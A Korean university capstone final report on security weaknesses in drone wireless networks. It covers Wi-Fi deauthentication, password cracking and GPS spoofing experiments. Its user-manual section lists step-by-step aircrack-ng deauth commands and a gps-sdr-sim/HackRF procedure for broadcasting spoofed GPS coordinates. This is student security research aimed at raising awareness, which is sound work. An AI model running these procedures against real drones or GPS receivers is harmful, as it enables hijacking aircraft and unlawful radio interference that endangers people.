캡스톤 디자인 I 최종결과 보고서

프로젝트 제목(국문): 드론 기반 무선 네트워크의 보안 취약점 분석
프로젝트 제목(영문): Analysis of security valnerabilities in drone-based wireless networks

프로젝트 팀(원): 학번: 20211870 이름: 김슬기
프로젝트 팀(원): 학번: 20191759 이름: 홍준기
프로젝트 팀(원): 학번: 20201773 이름: 손성호

1. 중간보고서의 검토결과 심사위원의 '수정 및 개선 의견'과 그러한 검토의견을 반영하여 개선한 부분을 명시하시오.
(없음)

2. 기능, 성능 및 품질 요구사항을 충족하기 위해 본 개발 프로젝트에서 적용한 주요 알고리즘, 설계방법 등을 기술하시오.
<기능 요구사항>
VM 가상 머신, 라즈베리파이 4 (Raspberry Pi 4 Model B)를 이용하여 Kali Linux에 내장된 도구들을 이용한다.
<성능 요구사항>
패스워드 크래킹 속도와 드론 배터리의 지속 시간이 확연하게 차이가 나기 때문에 모바일 핫스팟 기능을 이용해 Wi-Fi 패스워드 등록 및 크래킹을 진행한다.
기존 컨트롤러가 통제권을 가져가면 다른 컨트롤러의 연결은 하지 못하도록 1대1 연결이 필수적이다. 이 요구 사항은 노트북에 Python SDK를 이용한 드론의 컨트롤을 토대로 다른 컨트롤러에게 통제권을 빼앗기지 않도록 제어한다.

3. 요구사항 정의서에 명세된 기능 및 품질 요구사항에 대하여 최종 완료된 결과를 기술하시오.
<인증해제>
:드론을 AP로 발생 된 WIFI와 연결이 되어있던 컨트롤러를 대상으로 Kali Linux의 Tools 중 하나인 Aireplay-ng를 이용하여 드론과 컨트롤러 사이에 있던 연결을 끊는 실습을 했다. 이에 더 나아가 드론에서 발생 된 WIFI 뿐 아니라 모바일 핫스팟을 이용해 생성된 WIFI 또한 인증해제 공격을 시도하였다.
WIFI 생성 시 등록한 WIFI 패스워드를 Brute Focrce 공격과 Dictioinary 공격을 해보며 패스워드 복잡성의 중요성을 분석하였다.

<GPS 스푸핑>
: Hackrf-ONE 기기를 이용하여 RF로 전송되는 GPS 신호를 변조하는 실험을 했다.
GPS 수신 모듈 UART GPS NEO-6M을 아두이노에 연결하여, 현재 위치를 시리얼 통신을 통해 받는 과정을 Hackrf-ONE을 이용하여 차단하였다. 이 과정은 Hackrf-ONE이 더욱 강력한 신호를 보내 기존 통신을 차단하는 방법을 이용하였다.

4. 구현하지 못한 기능 요구사항이 있다면 그 이유와 해결방안을 기술하시오,

최초 요구사항	구현 여부(미구현, 수정, 삭제 등)	이유(일정부족, 프로젝트 관리미비, 팀원변동, 기술적 문제 등)
보안 알고리즘	X	드론 제작 단계 진입 X

5. 요구사항을 충족시키지 못한 성능, 품질 요구사항이 있다면 그 이유와 해결방안을 기술하시오.

분류(성능, 속도 등) 및 최초 요구사항	충족 여부(현재 측정결과 제시)	이유(일정부족, 프로젝트 관리미비, 팀원변동, 기술적 문제 등)
성능-패스워드 크래킹 속도	X	WPA2에 이용되는 대입 공격 특성으로 비

		밀번호에 대한 사전 정보가 없으면 시간 단축이 어려움

6. 최종 완성된 프로젝트 결과물(소프트웨어, 하드웨어 등)을 설치하여 사용하기 위한 사용자 매뉴얼을 작성하시오.

<인증해제 공격>

0. 무선랜카드가 장착된 Kali Linux 환경에서 행한다.
1. airmon-ng check kill 명령어로 공격에 필요하지 않은 프로세스를 종료한다.
2. iwconfig 명령어로 managed 모드인 무선랜 이름을 확인한다.
3. airmon-ng start (무선랜 이름) 명령어로 moniter 모드로 전환한다.
4. airodump-ng (무선랜 이름) --essid-regex (드론의 MAC) -w (저장파일명) 명령어를 실행한다.
5. 연결된 기기가 나타나면 저장된 패킷 파일을 열고 필터에 udp를 넣어 드론을 제어중인 기기의 MAC 주소를 확인한다.
6. iwconfig (무선랜 이름) channel (채널) 명령어를 실행해 드론의 AP와 채널을 동일하게 설정한다. 여기서 채널은 4번에서 나타난 드론 AP의 채널을 입력한다.
7. aireplay-ng −deauth (공격할 시간) -a (드론의 MAC) -c (기기의 MAC) (무선랜 이름) 명령어를 실행하여 공격한다.

<GPS Spoofing>

1. Hackrf-one이 연결된 Kali Linux 환경에 접속한다.
2. gps-sdr-sim이 있는 깃허브 주소르 클론한다.
   [git clone https://github.com/osqzss/gps-sdr-sim.git]
3. 클론해온 디렉토리로 이동한다. [cd ./gps-sdr-sim]
4. 스푸핑할 위치로 위도, 경도를 지정한 gpssim.bin 파일을 생성해준다.\
   gcc gpssim.c -lm -O3 -o gps-sdr-sim
5. 나사에서 가장 최신 천체 파일을 받아온다.(brdc1520.24n)
   cp /home/user/brdc1520.24n.gz ./brdc1520.24n.gz
6. gz으로 압축되어 있는 파일을 압축해제해준다.
   gzip -d brdc1520.24n.gz
7. ./gps-sdr-sim -e brdc1520.24n -l 33.37570,126.528400,100 -b 8
8. 다음 명령어로 변조된 위도, 경도 좌표값을 전송한다.
   hackrf_transfer -t gpssim.bin -f 1575420000 -s 2600000 -a 1 -x 40

7. 캡스톤디자인 결과의 활용방안

1. 보안 의식 고취 및 기술개발: 인증해제 공격, GPS 스푸핑의 위험성을 알리고 이에 대한 경각심을 높여, 관련 기관 및 기업들이 보안 강화에 더 많은 관심을 가지게 되고, 악의적 행위를 예방하는 기술 개발에 기여가 가능하다.
2. 시장 성장: 인증해제 공격 및 GPS 스푸핑 방지 및 탐지 솔루션을 개발함으로써 새로운 시장 기회가 창출된다.
3. 응용 분야 확대: 네트워크 보안을 고취하면 드론뿐만 아니라 자율주행차, 선박, 비행기 등 다양한 분야에 적용이 가능하다.